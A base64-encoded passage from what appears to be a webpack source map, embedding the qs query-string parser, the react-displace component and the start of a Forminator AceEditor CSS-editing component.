ge1xuICAgICAgICAgICAgb2JqW2tleV0gPSB2YWw7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gb2JqO1xufTtcblxudmFyIHBhcnNlT2JqZWN0ID0gZnVuY3Rpb24gKGNoYWluLCB2YWwsIG9wdGlvbnMpIHtcbiAgICB2YXIgbGVhZiA9IHZhbDtcblxuICAgIGZvciAodmFyIGkgPSBjaGFpbi5sZW5ndGggLSAxOyBpID49IDA7IC0taSkge1xuICAgICAgICB2YXIgb2JqO1xuICAgICAgICB2YXIgcm9vdCA9IGNoYWluW2ldO1xuXG4gICAgICAgIGlmIChyb290ID09PSAnW10nKSB7XG4gICAgICAgICAgICBvYmogPSBbXTtcbiAgICAgICAgICAgIG9iaiA9IG9iai5jb25jYXQobGVhZik7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBvYmogPSBvcHRpb25zLnBsYWluT2JqZWN0cyA/IE9iamVjdC5jcmVhdGUobnVsbCkgOiB7fTtcbiAgICAgICAgICAgIHZhciBjbGVhblJvb3QgPSByb290LmNoYXJBdCgwKSA9PT0gJ1snICYmIHJvb3QuY2hhckF0KHJvb3QubGVuZ3RoIC0gMSkgPT09ICddJyA/IHJvb3Quc2xpY2UoMSwgLTEpIDogcm9vdDtcbiAgICAgICAgICAgIHZhciBpbmRleCA9IHBhcnNlSW50KGNsZWFuUm9vdCwgMTApO1xuICAgICAgICAgICAgaWYgKFxuICAgICAgICAgICAgICAgICFpc05hTihpbmRleClcbiAgICAgICAgICAgICAgICAmJiByb290ICE9PSBjbGVhblJvb3RcbiAgICAgICAgICAgICAgICAmJiBTdHJpbmcoaW5kZXgpID09PSBjbGVhblJvb3RcbiAgICAgICAgICAgICAgICAmJiBpbmRleCA+PSAwXG4gICAgICAgICAgICAgICAgJiYgKG9wdGlvbnMucGFyc2VBcnJheXMgJiYgaW5kZXggPD0gb3B0aW9ucy5hcnJheUxpbWl0KVxuICAgICAgICAgICAgKSB7XG4gICAgICAgICAgICAgICAgb2JqID0gW107XG4gICAgICAgICAgICAgICAgb2JqW2luZGV4XSA9IGxlYWY7XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgIG9ialtjbGVhblJvb3RdID0gbGVhZjtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuXG4gICAgICAgIGxlYWYgPSBvYmo7XG4gICAgfVxuXG4gICAgcmV0dXJuIGxlYWY7XG59O1xuXG52YXIgcGFyc2VLZXlzID0gZnVuY3Rpb24gcGFyc2VRdWVyeVN0cmluZ0tleXMoZ2l2ZW5LZXksIHZhbCwgb3B0aW9ucykge1xuICAgIGlmICghZ2l2ZW5LZXkpIHtcbiAgICAgICAgcmV0dXJuO1xuICAgIH1cblxuICAgIC8vIFRyYW5zZm9ybSBkb3Qgbm90YXRpb24gdG8gYnJhY2tldCBub3RhdGlvblxuICAgIHZhciBrZXkgPSBvcHRpb25zLmFsbG93RG90cyA/IGdpdmVuS2V5LnJlcGxhY2UoL1xcLihbXi5bXSspL2csICdbJDFdJykgOiBnaXZlbktleTtcblxuICAgIC8vIFRoZSByZWdleCBjaHVua3NcblxuICAgIHZhciBicmFja2V0cyA9IC8oXFxbW15bXFxdXSpdKS87XG4gICAgdmFyIGNoaWxkID0gLyhcXFtbXltcXF1dKl0pL2c7XG5cbiAgICAvLyBHZXQgdGhlIHBhcmVudFxuXG4gICAgdmFyIHNlZ21lbnQgPSBicmFja2V0cy5leGVjKGtleSk7XG4gICAgdmFyIHBhcmVudCA9IHNlZ21lbnQgPyBrZXkuc2xpY2UoMCwgc2VnbWVudC5pbmRleCkgOiBrZXk7XG5cbiAgICAvLyBTdGFzaCB0aGUgcGFyZW50IGlmIGl0IGV4aXN0c1xuXG4gICAgdmFyIGtleXMgPSBbXTtcbiAgICBpZiAocGFyZW50KSB7XG4gICAgICAgIC8vIElmIHdlIGFyZW4ndCB1c2luZyBwbGFpbiBvYmplY3RzLCBvcHRpb25hbGx5IHByZWZpeCBrZXlzXG4gICAgICAgIC8vIHRoYXQgd291bGQgb3ZlcndyaXRlIG9iamVjdCBwcm90b3R5cGUgcHJvcGVydGllc1xuICAgICAgICBpZiAoIW9wdGlvbnMucGxhaW5PYmplY3RzICYmIGhhcy5jYWxsKE9iamVjdC5wcm90b3R5cGUsIHBhcmVudCkpIHtcbiAgICAgICAgICAgIGlmICghb3B0aW9ucy5hbGxvd1Byb3RvdHlwZXMpIHtcbiAgICAgICAgICAgICAgICByZXR1cm47XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBrZXlzLnB1c2gocGFyZW50KTtcbiAgICB9XG5cbiAgICAvLyBMb29wIHRocm91Z2ggY2hpbGRyZW4gYXBwZW5kaW5nIHRvIHRoZSBhcnJheSB1bnRpbCB3ZSBoaXQgZGVwdGhcblxuICAgIHZhciBpID0gMDtcbiAgICB3aGlsZSAoKHNlZ21lbnQgPSBjaGlsZC5leGVjKGtleSkpICE9PSBudWxsICYmIGkgPCBvcHRpb25zLmRlcHRoKSB7XG4gICAgICAgIGkgKz0gMTtcbiAgICAgICAgaWYgKCFvcHRpb25zLnBsYWluT2JqZWN0cyAmJiBoYXMuY2FsbChPYmplY3QucHJvdG90eXBlLCBzZWdtZW50WzFdLnNsaWNlKDEsIC0xKSkpIHtcbiAgICAgICAgICAgIGlmICghb3B0aW9ucy5hbGxvd1Byb3RvdHlwZXMpIHtcbiAgICAgICAgICAgICAgICByZXR1cm47XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAga2V5cy5wdXNoKHNlZ21lbnRbMV0pO1xuICAgIH1cblxuICAgIC8vIElmIHRoZXJlJ3MgYSByZW1haW5kZXIsIGp1c3QgYWRkIHdoYXRldmVyIGlzIGxlZnRcblxuICAgIGlmIChzZWdtZW50KSB7XG4gICAgICAgIGtleXMucHVzaCgnWycgKyBrZXkuc2xpY2Uoc2VnbWVudC5pbmRleCkgKyAnXScpO1xuICAgIH1cblxuICAgIHJldHVybiBwYXJzZU9iamVjdChrZXlzLCB2YWwsIG9wdGlvbnMpO1xufTtcblxubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiAoc3RyLCBvcHRzKSB7XG4gICAgdmFyIG9wdGlvbnMgPSBvcHRzID8gdXRpbHMuYXNzaWduKHt9LCBvcHRzKSA6IHt9O1xuXG4gICAgaWYgKG9wdGlvbnMuZGVjb2RlciAhPT0gbnVsbCAmJiBvcHRpb25zLmRlY29kZXIgIT09IHVuZGVmaW5lZCAmJiB0eXBlb2Ygb3B0aW9ucy5kZWNvZGVyICE9PSAnZnVuY3Rpb24nKSB7XG4gICAgICAgIHRocm93IG5ldyBUeXBlRXJyb3IoJ0RlY29kZXIgaGFzIHRvIGJlIGEgZnVuY3Rpb24uJyk7XG4gICAgfVxuXG4gICAgb3B0aW9ucy5pZ25vcmVRdWVyeVByZWZpeCA9IG9wdGlvbnMuaWdub3JlUXVlcnlQcmVmaXggPT09IHRydWU7XG4gICAgb3B0aW9ucy5kZWxpbWl0ZXIgPSB0eXBlb2Ygb3B0aW9ucy5kZWxpbWl0ZXIgPT09ICdzdHJpbmcnIHx8IHV0aWxzLmlzUmVnRXhwKG9wdGlvbnMuZGVsaW1pdGVyKSA/IG9wdGlvbnMuZGVsaW1pdGVyIDogZGVmYXVsdHMuZGVsaW1pdGVyO1xuICAgIG9wdGlvbnMuZGVwdGggPSB0eXBlb2Ygb3B0aW9ucy5kZXB0aCA9PT0gJ251bWJlcicgPyBvcHRpb25zLmRlcHRoIDogZGVmYXVsdHMuZGVwdGg7XG4gICAgb3B0aW9ucy5hcnJheUxpbWl0ID0gdHlwZW9mIG9wdGlvbnMuYXJyYXlMaW1pdCA9PT0gJ251bWJlcicgPyBvcHRpb25zLmFycmF5TGltaXQgOiBkZWZhdWx0cy5hcnJheUxpbWl0O1xuICAgIG9wdGlvbnMucGFyc2VBcnJheXMgPSBvcHRpb25zLnBhcnNlQXJyYXlzICE9PSBmYWxzZTtcbiAgICBvcHRpb25zLmRlY29kZXIgPSB0eXBlb2Ygb3B0aW9ucy5kZWNvZGVyID09PSAnZnVuY3Rpb24nID8gb3B0aW9ucy5kZWNvZGVyIDogZGVmYXVsdHMuZGVjb2RlcjtcbiAgICBvcHRpb25zLmFsbG93RG90cyA9IHR5cGVvZiBvcHRpb25zLmFsbG93RG90cyA9PT0gJ2Jvb2xlYW4nID8gb3B0aW9ucy5hbGxvd0RvdHMgOiBkZWZhdWx0cy5hbGxvd0RvdHM7XG4gICAgb3B0aW9ucy5wbGFpbk9iamVjdHMgPSB0eXBlb2Ygb3B0aW9ucy5wbGFpbk9iamVjdHMgPT09ICdib29sZWFuJyA/IG9wdGlvbnMucGxhaW5PYmplY3RzIDogZGVmYXVsdHMucGxhaW5PYmplY3RzO1xuICAgIG9wdGlvbnMuYWxsb3dQcm90b3R5cGVzID0gdHlwZW9mIG9wdGlvbnMuYWxsb3dQcm90b3R5cGVzID09PSAnYm9vbGVhbicgPyBvcHRpb25zLmFsbG93UHJvdG90eXBlcyA6IGRlZmF1bHRzLmFsbG93UHJvdG90eXBlcztcbiAgICBvcHRpb25zLnBhcmFtZXRlckxpbWl0ID0gdHlwZW9mIG9wdGlvbnMucGFyYW1ldGVyTGltaXQgPT09ICdudW1iZXInID8gb3B0aW9ucy5wYXJhbWV0ZXJMaW1pdCA6IGRlZmF1bHRzLnBhcmFtZXRlckxpbWl0O1xuICAgIG9wdGlvbnMuc3RyaWN0TnVsbEhhbmRsaW5nID0gdHlwZW9mIG9wdGlvbnMuc3RyaWN0TnVsbEhhbmRsaW5nID09PSAnYm9vbGVhbicgPyBvcHRpb25zLnN0cmljdE51bGxIYW5kbGluZyA6IGRlZmF1bHRzLnN0cmljdE51bGxIYW5kbGluZztcblxuICAgIGlmIChzdHIgPT09ICcnIHx8IHN0ciA9PT0gbnVsbCB8fCB0eXBlb2Ygc3RyID09PSAndW5kZWZpbmVkJykge1xuICAgICAgICByZXR1cm4gb3B0aW9ucy5wbGFpbk9iamVjdHMgPyBPYmplY3QuY3JlYXRlKG51bGwpIDoge307XG4gICAgfVxuXG4gICAgdmFyIHRlbXBPYmogPSB0eXBlb2Ygc3RyID09PSAnc3RyaW5nJyA/IHBhcnNlVmFsdWVzKHN0ciwgb3B0aW9ucykgOiBzdHI7XG4gICAgdmFyIG9iaiA9IG9wdGlvbnMucGxhaW5PYmplY3RzID8gT2JqZWN0LmNyZWF0ZShudWxsKSA6IHt9O1xuXG4gICAgLy8gSXRlcmF0ZSBvdmVyIHRoZSBrZXlzIGFuZCBzZXR1cCB0aGUgbmV3IG9iamVjdFxuXG4gICAgdmFyIGtleXMgPSBPYmplY3Qua2V5cyh0ZW1wT2JqKTtcbiAgICBmb3IgKHZhciBpID0gMDsgaSA8IGtleXMubGVuZ3RoOyArK2kpIHtcbiAgICAgICAgdmFyIGtleSA9IGtleXNbaV07XG4gICAgICAgIHZhciBuZXdPYmogPSBwYXJzZUtleXMoa2V5LCB0ZW1wT2JqW2tleV0sIG9wdGlvbnMpO1xuICAgICAgICBvYmogPSB1dGlscy5tZXJnZShvYmosIG5ld09iaiwgb3B0aW9ucyk7XG4gICAgfVxuXG4gICAgcmV0dXJuIHV0aWxzLmNvbXBhY3Qob2JqKTtcbn07XG5cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9xcy9saWIvcGFyc2UuanNcbi8vIG1vZHVsZSBpZCA9IDE4MVxuLy8gbW9kdWxlIGNodW5rcyA9IDAgMSAyIDMgNCIsIid1c2Ugc3RyaWN0JztcblxudmFyIF9jcmVhdGVDbGFzcyA9IGZ1bmN0aW9uICgpIHsgZnVuY3Rpb24gZGVmaW5lUHJvcGVydGllcyh0YXJnZXQsIHByb3BzKSB7IGZvciAodmFyIGkgPSAwOyBpIDwgcHJvcHMubGVuZ3RoOyBpKyspIHsgdmFyIGRlc2NyaXB0b3IgPSBwcm9wc1tpXTsgZGVzY3JpcHRvci5lbnVtZXJhYmxlID0gZGVzY3JpcHRvci5lbnVtZXJhYmxlIHx8IGZhbHNlOyBkZXNjcmlwdG9yLmNvbmZpZ3VyYWJsZSA9IHRydWU7IGlmIChcInZhbHVlXCIgaW4gZGVzY3JpcHRvcikgZGVzY3JpcHRvci53cml0YWJsZSA9IHRydWU7IE9iamVjdC5kZWZpbmVQcm9wZXJ0eSh0YXJnZXQsIGRlc2NyaXB0b3Iua2V5LCBkZXNjcmlwdG9yKTsgfSB9IHJldHVybiBmdW5jdGlvbiAoQ29uc3RydWN0b3IsIHByb3RvUHJvcHMsIHN0YXRpY1Byb3BzKSB7IGlmIChwcm90b1Byb3BzKSBkZWZpbmVQcm9wZXJ0aWVzKENvbnN0cnVjdG9yLnByb3RvdHlwZSwgcHJvdG9Qcm9wcyk7IGlmIChzdGF0aWNQcm9wcykgZGVmaW5lUHJvcGVydGllcyhDb25zdHJ1Y3Rvciwgc3RhdGljUHJvcHMpOyByZXR1cm4gQ29uc3RydWN0b3I7IH07IH0oKTtcblxuZnVuY3Rpb24gX2NsYXNzQ2FsbENoZWNrKGluc3RhbmNlLCBDb25zdHJ1Y3RvcikgeyBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKFwiQ2Fubm90IGNhbGwgYSBjbGFzcyBhcyBhIGZ1bmN0aW9uXCIpOyB9IH1cblxuZnVuY3Rpb24gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4oc2VsZiwgY2FsbCkgeyBpZiAoIXNlbGYpIHsgdGhyb3cgbmV3IFJlZmVyZW5jZUVycm9yKFwidGhpcyBoYXNuJ3QgYmVlbiBpbml0aWFsaXNlZCAtIHN1cGVyKCkgaGFzbid0IGJlZW4gY2FsbGVkXCIpOyB9IHJldHVybiBjYWxsICYmICh0eXBlb2YgY2FsbCA9PT0gXCJvYmplY3RcIiB8fCB0eXBlb2YgY2FsbCA9PT0gXCJmdW5jdGlvblwiKSA/IGNhbGwgOiBzZWxmOyB9XG5cbmZ1bmN0aW9uIF9pbmhlcml0cyhzdWJDbGFzcywgc3VwZXJDbGFzcykgeyBpZiAodHlwZW9mIHN1cGVyQ2xhc3MgIT09IFwiZnVuY3Rpb25cIiAmJiBzdXBlckNsYXNzICE9PSBudWxsKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJTdXBlciBleHByZXNzaW9uIG11c3QgZWl0aGVyIGJlIG51bGwgb3IgYSBmdW5jdGlvbiwgbm90IFwiICsgdHlwZW9mIHN1cGVyQ2xhc3MpOyB9IHN1YkNsYXNzLnByb3RvdHlwZSA9IE9iamVjdC5jcmVhdGUoc3VwZXJDbGFzcyAmJiBzdXBlckNsYXNzLnByb3RvdHlwZSwgeyBjb25zdHJ1Y3RvcjogeyB2YWx1ZTogc3ViQ2xhc3MsIGVudW1lcmFibGU6IGZhbHNlLCB3cml0YWJsZTogdHJ1ZSwgY29uZmlndXJhYmxlOiB0cnVlIH0gfSk7IGlmIChzdXBlckNsYXNzKSBPYmplY3Quc2V0UHJvdG90eXBlT2YgPyBPYmplY3Quc2V0UHJvdG90eXBlT2Yoc3ViQ2xhc3MsIHN1cGVyQ2xhc3MpIDogc3ViQ2xhc3MuX19wcm90b19fID0gc3VwZXJDbGFzczsgfVxuXG52YXIgUmVhY3QgPSByZXF1aXJlKCdyZWFjdCcpO1xudmFyIFJlYWN0RE9NID0gcmVxdWlyZSgncmVhY3QtZG9tJyk7XG5cbi8vIFJlYWN0IDE2KyBzdXBwb3J0cyBQb3J0YWxzLlxudmFyIGNhblVzZVBvcnRhbHMgPSAhIVJlYWN0RE9NLmNyZWF0ZVBvcnRhbDtcblxuZnVuY3Rpb24gZGlzcGxhY2UoV3JhcHBlZENvbXBvbmVudCwgb3B0aW9ucykge1xuICBpZiAoIWdsb2JhbC5kb2N1bWVudCkge1xuICAgIHJldHVybiBmdW5jdGlvbiAoX1JlYWN0JENvbXBvbmVudCkge1xuICAgICAgX2luaGVyaXRzKEVtcHR5RGlzcGxhY2UsIF9SZWFjdCRDb21wb25lbnQpO1xuXG4gICAgICBmdW5jdGlvbiBFbXB0eURpc3BsYWNlKCkge1xuICAgICAgICBfY2xhc3NDYWxsQ2hlY2sodGhpcywgRW1wdHlEaXNwbGFjZSk7XG5cbiAgICAgICAgcmV0dXJuIF9wb3NzaWJsZUNvbnN0cnVjdG9yUmV0dXJuKHRoaXMsIChFbXB0eURpc3BsYWNlLl9fcHJvdG9fXyB8fCBPYmplY3QuZ2V0UHJvdG90eXBlT2YoRW1wdHlEaXNwbGFjZSkpLmFwcGx5KHRoaXMsIGFyZ3VtZW50cykpO1xuICAgICAgfVxuXG4gICAgICBfY3JlYXRlQ2xhc3MoRW1wdHlEaXNwbGFjZSwgW3tcbiAgICAgICAga2V5OiAncmVuZGVyJyxcbiAgICAgICAgdmFsdWU6IGZ1bmN0aW9uIHJlbmRlcigpIHtcbiAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICAgIH1dKTtcblxuICAgICAgcmV0dXJuIEVtcHR5RGlzcGxhY2U7XG4gICAgfShSZWFjdC5Db21wb25lbnQpO1xuICB9XG5cbiAgb3B0aW9ucyA9IG9wdGlvbnMgfHwge307XG5cbiAgdmFyIERpc3BsYWNlZCA9IGZ1bmN0aW9uIChfUmVhY3QkQ29tcG9uZW50Mikge1xuICAgIF9pbmhlcml0cyhEaXNwbGFjZWQsIF9SZWFjdCRDb21wb25lbnQyKTtcblxuICAgIGZ1bmN0aW9uIERpc3BsYWNlZCgpIHtcbiAgICAgIHZhciBfcmVmO1xuXG4gICAgICB2YXIgX3RlbXAsIF90aGlzMiwgX3JldDtcblxuICAgICAgX2NsYXNzQ2FsbENoZWNrKHRoaXMsIERpc3BsYWNlZCk7XG5cbiAgICAgIGZvciAodmFyIF9sZW4gPSBhcmd1bWVudHMubGVuZ3RoLCBhcmdzID0gQXJyYXkoX2xlbiksIF9rZXkgPSAwOyBfa2V5IDwgX2xlbjsgX2tleSsrKSB7XG4gICAgICAgIGFyZ3NbX2tleV0gPSBhcmd1bWVudHNbX2tleV07XG4gICAgICB9XG5cbiAgICAgIHJldHVybiBfcmV0ID0gKF90ZW1wID0gKF90aGlzMiA9IF9wb3NzaWJsZUNvbnN0cnVjdG9yUmV0dXJuKHRoaXMsIChfcmVmID0gRGlzcGxhY2VkLl9fcHJvdG9fXyB8fCBPYmplY3QuZ2V0UHJvdG90eXBlT2YoRGlzcGxhY2VkKSkuY2FsbC5hcHBseShfcmVmLCBbdGhpc10uY29uY2F0KGFyZ3MpKSksIF90aGlzMiksIF90aGlzMi5yZW5kZXJEaXNwbGFjZWQgPSBmdW5jdGlvbiAoKSB7XG4gICAgICAgIFJlYWN0RE9NLnVuc3RhYmxlX3JlbmRlclN1YnRyZWVJbnRvQ29udGFpbmVyKF90aGlzMiwgUmVhY3QuY3JlYXRlRWxlbWVudChXcmFwcGVkQ29tcG9uZW50LCBfdGhpczIucHJvcHMsIF90aGlzMi5wcm9wcy5jaGlsZHJlbiksIF90aGlzMi5jb250YWluZXIpO1xuICAgICAgfSwgX3RoaXMyLnJlbW92ZURpc3BsYWNlZCA9IGZ1bmN0aW9uICgpIHtcbiAgICAgICAgUmVhY3RET00udW5tb3VudENvbXBvbmVudEF0Tm9kZShfdGhpczIuY29udGFpbmVyKTtcbiAgICAgIH0sIF90ZW1wKSwgX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4oX3RoaXMyLCBfcmV0KTtcbiAgICB9XG5cbiAgICBfY3JlYXRlQ2xhc3MoRGlzcGxhY2VkLCBbe1xuICAgICAga2V5OiAnY29tcG9uZW50V2lsbE1vdW50JyxcbiAgICAgIHZhbHVlOiBmdW5jdGlvbiBjb21wb25lbnRXaWxsTW91bnQoKSB7XG4gICAgICAgIHRoaXMuY29udGFpbmVyID0gZnVuY3Rpb24gKCkge1xuICAgICAgICAgIGlmICghb3B0aW9ucy5yZW5kZXJUbykge1xuICAgICAgICAgICAgdmFyIHJlc3VsdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpO1xuICAgICAgICAgICAgZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChyZXN1bHQpO1xuICAgICAgICAgICAgcmV0dXJuIHJlc3VsdDtcbiAgICAgICAgICB9IGVsc2UgaWYgKHR5cGVvZiBvcHRpb25zLnJlbmRlclRvID09PSAnc3RyaW5nJykge1xuICAgICAgICAgICAgcmV0dXJuIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3Iob3B0aW9ucy5yZW5kZXJUbyk7XG4gICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgIHJldHVybiBvcHRpb25zLnJlbmRlclRvO1xuICAgICAgICAgIH1cbiAgICAgICAgfSgpO1xuICAgICAgfVxuICAgIH0sIHtcbiAgICAgIGtleTogJ2NvbXBvbmVudERpZE1vdW50JyxcbiAgICAgIHZhbHVlOiBmdW5jdGlvbiBjb21wb25lbnREaWRNb3VudCgpIHtcbiAgICAgICAgaWYgKGNhblVzZVBvcnRhbHMpIHJldHVybjtcbiAgICAgICAgaWYgKHRoaXMucHJvcHMubW91bnRlZCkge1xuICAgICAgICAgIHRoaXMucmVuZGVyRGlzcGxhY2VkKCk7XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9LCB7XG4gICAgICBrZXk6ICdjb21wb25lbnREaWRVcGRhdGUnLFxuICAgICAgdmFsdWU6IGZ1bmN0aW9uIGNvbXBvbmVudERpZFVwZGF0ZShwcmV2UHJvcHMpIHtcbiAgICAgICAgaWYgKGNhblVzZVBvcnRhbHMpIHJldHVybjtcbiAgICAgICAgaWYgKHByZXZQcm9wcy5tb3VudGVkICYmICF0aGlzLnByb3BzLm1vdW50ZWQpIHtcbiAgICAgICAgICBSZWFjdERPTS51bm1vdW50Q29tcG9uZW50QXROb2RlKHRoaXMuY29udGFpbmVyKTtcbiAgICAgICAgfSBlbHNlIGlmICh0aGlzLnByb3BzLm1vdW50ZWQpIHtcbiAgICAgICAgICB0aGlzLnJlbmRlckRpc3BsYWNlZCgpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfSwge1xuICAgICAga2V5OiAnY29tcG9uZW50V2lsbFVubW91bnQnLFxuICAgICAgdmFsdWU6IGZ1bmN0aW9uIGNvbXBvbmVudFdpbGxVbm1vdW50KCkge1xuICAgICAgICBpZiAoIWNhblVzZVBvcnRhbHMpIHtcbiAgICAgICAgICBSZWFjdERPTS51bm1vdW50Q29tcG9uZW50QXROb2RlKHRoaXMuY29udGFpbmVyKTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoIW9wdGlvbnMucmVuZGVyVG8pIHtcbiAgICAgICAgICB0aGlzLmNvbnRhaW5lci5wYXJlbnROb2RlLnJlbW92ZUNoaWxkKHRoaXMuY29udGFpbmVyKTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH0sIHtcbiAgICAgIGtleTogJ3JlbmRlcicsXG4gICAgICB2YWx1ZTogZnVuY3Rpb24gcmVuZGVyKCkge1xuICAgICAgICBpZiAoIWNhblVzZVBvcnRhbHMgfHwgdGhpcy5wcm9wcy5tb3VudGVkID09PSBmYWxzZSkge1xuICAgICAgICAgIHJldHVybiBudWxsO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiBSZWFjdERPTS5jcmVhdGVQb3J0YWwoUmVhY3QuY3JlYXRlRWxlbWVudChXcmFwcGVkQ29tcG9uZW50LCB0aGlzLnByb3BzLCB0aGlzLnByb3BzLmNoaWxkcmVuKSwgdGhpcy5jb250YWluZXIpO1xuICAgICAgfVxuICAgIH1dKTtcblxuICAgIHJldHVybiBEaXNwbGFjZWQ7XG4gIH0oUmVhY3QuQ29tcG9uZW50KTtcblxuICBEaXNwbGFjZWQuZGVmYXVsdFByb3BzID0ge1xuICAgIG1vdW50ZWQ6IHRydWVcbiAgfTtcbiAgRGlzcGxhY2VkLldyYXBwZWRDb21wb25lbnQgPSBXcmFwcGVkQ29tcG9uZW50O1xuXG5cbiAgcmV0dXJuIERpc3BsYWNlZDtcbn1cblxubW9kdWxlLmV4cG9ydHMgPSBkaXNwbGFjZTtcblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZWFjdC1kaXNwbGFjZS9kaXN0L2Rpc3BsYWNlLmpzXG4vLyBtb2R1bGUgaWQgPSAxODJcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJpbXBvcnQgUmVhY3QsIHsgQ29tcG9uZW50IH0gZnJvbSAncmVhY3QnO1xuaW1wb3J0IHsgdHJhbnNsYXRlIH0gZnJvbSAnLi4vLi4vdXRpbHMnO1xuXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBBY2VFZGl0b3IgZXh0ZW5kcyBDb21wb25lbnQge1xuXHRjb25zdHJ1Y3RvciggcHJvcHMgKSB7XG5cdFx0c3VwZXIoIHByb3BzICk7XG5cblx0XHR0aGlzLnVwZGF0ZVZhbHVlID0gdGhpcy51cGRhdGVWYWx1ZS5iaW5kKCB0aGlzICk7XG5cdFx0dGhpcy5pbnNlcnRTZWxlY3RvciA9IHRoaXMuaW5zZXJ0U2VsZWN0b3IuYmluZCggdGhpcyApO1xuXHR9XG5cblx0Y29tcG9uZW50RGlkTW91bnQoKSB7XG5cdFx0Ly8gZXNsaW50LWRpc2FibGUtbmV4dC1saW5lIG5vLXVuZGVmXG5cdFx0dGhpcy5lZGl0b3IgPSBhY2UuZWRpdCggYGZvcm1pbmF0b3ItZmllbGQtJHsgdGhpcy5wcm9wcy5wcm9wZXJ0eSB9YCApO1xuXG5cdFx0dGhpcy5zZXNzaW9uID0gdGhpcy5lZGl0b3IuZ2V0U2Vzc2lvbigpO1xuXHRcdHRoaXMuc2Vzc2lvbi5zZXRVc2VXb3JrZXIoIGZhbHNlICk7XG5cdFx0dGhpcy5lZGl0b3Iuc2V0U2hvd1ByaW50TWFyZ2luKCBmYWxzZSApO1xuXG5cdFx0dGhpcy5zZXNzaW9uLnNldE1vZGUoICdhY2UvbW9kZS9jc3MnICk7XG5cdFx0dGhpcy5lZGl0b3Iuc2V0VGhlbWUoICdhY2UvdGhlbWUvc3VpJyApO1xuXHRcdHRoaXMuZWRpdG9yLnJlbmRlcmVyLnNldFNob3dHdXR0ZXIoIHRydWUgKTtcblx0XHR0aGlzLmVkaXRvci5zZXRIaWdobGlnaHRBY3RpdmVMaW5lKCB0cnVlICk7XG5cdFx0dGhpcy5lZGl0b3IuZm9jdXMoKTtcblxuXHRcdHRoaXMuZWRpdG9yLm9uKCAnY2hhbmdlJywgdGhpcy51cGRhdGVWYWx1ZSApO1xuXHR9XG5cblx0Y29tcG9uZW50V2lsbFVubW91bnQoKSB7XG5cdFx0dGhpcy5lZGl0b3IuZGVzdHJveSgpO1xuXHRcdHRoaXMuZWRpdG9yID0gbnVsbDtcblx0fVxuXG5cdGluc2VydFNlbGVjdG9yKCBzZWxlY3RvciApIHtcblx0XHRjb25zdCBzZWxlY3RDbGFzcyA9IHNlbGVjdG9yICsgJ3t9JztcblxuXHRcdHRoaXMuZWRpdG9yLm5hdmlnYXRlRmlsZUVuZCgpO1xuXHRcdHRoaXMuZWRpdG9yLmluc2VydCggc2VsZWN0Q2xhc3MgKTtcblx0XHR0aGlzLmVkaXRvci5uYXZpZ2F0ZUxlZnQoIDEgKTtcblx0XHR0aGlzLmVkaXRvci5mb2N1cygpO1xuXHR9XG5cblx0c2hvdWxkQ29tcG9uZW50VXBkYXRlKCkge1xuXHRcdHJldHVybiBmYWxzZTtcblx0fVxuXG5cdHVwZGF0ZVZhbHVlKCkge1xuXHRcdHRoaXMucHJvcHMuYWN0aW9ucy5zZXR0aW5nc0FjdGlvbnMudXBkYXRlU2V0dGluZyhcblx0XHRcdHRoaXMucHJvcHMucHJvcGVydHksXG5cdFx0XHR0aGlzLmVkaXRvci5nZXRWYWx1ZSgpXG5cdFx0KTtcblx0fVxuXG5cdHJlbmRlcigpIHtcblx0XHRjb25zdCB2YWx1ZSA9IF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMuc2V0dGluZ3NbIHRoaXMucHJvcHMucHJvcGVydHkgXSApXG5cdFx0XHQ/ICcnXG5cdFx0XHQ6IHRoaXMucHJvcHMuc2V0dGluZ3NbIHRoaXMucHJvcHMucHJvcGVydHkgXTtcblxuXHRcdGxldCB0eXBlID0gISBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLnR5cGUgKSA/IHRoaXMucHJvcHMudHlwZSA6ICdmb3JtJztcblxuXHRcdGlmICggJ3BkZi1mb3JtJyA9PT0gdGhpcy5wcm9wcy5mb3JtVHlwZSApIHtcblx0XHRcdHR5cGUgPSB0aGlzLnByb3BzLmZvcm1UeXBlO1xuXHRcdH1cblxuXHRcdGNvbnN0IGJhc2ljU2VsZWN0b3JzID0gKFxuXHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXHRcdFx0XHQ8bGFiZWwgY2xhc3NOYW1lPVwic3VpLWxhYmVsXCI+eyB0cmFuc2xhdGUoICdCYXNpYyBzZWxlY3RvcnMnICkgfTwvbGFiZWw+XG5cdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWFjZS1zZWxlY3RvcnNcIj5cblx0XHRcdFx0XHQ8YSBjbGFzc05hbWU9XCJzdWktc2VsZWN0b3Igc3VpLWluc2VydC1zZWxlY3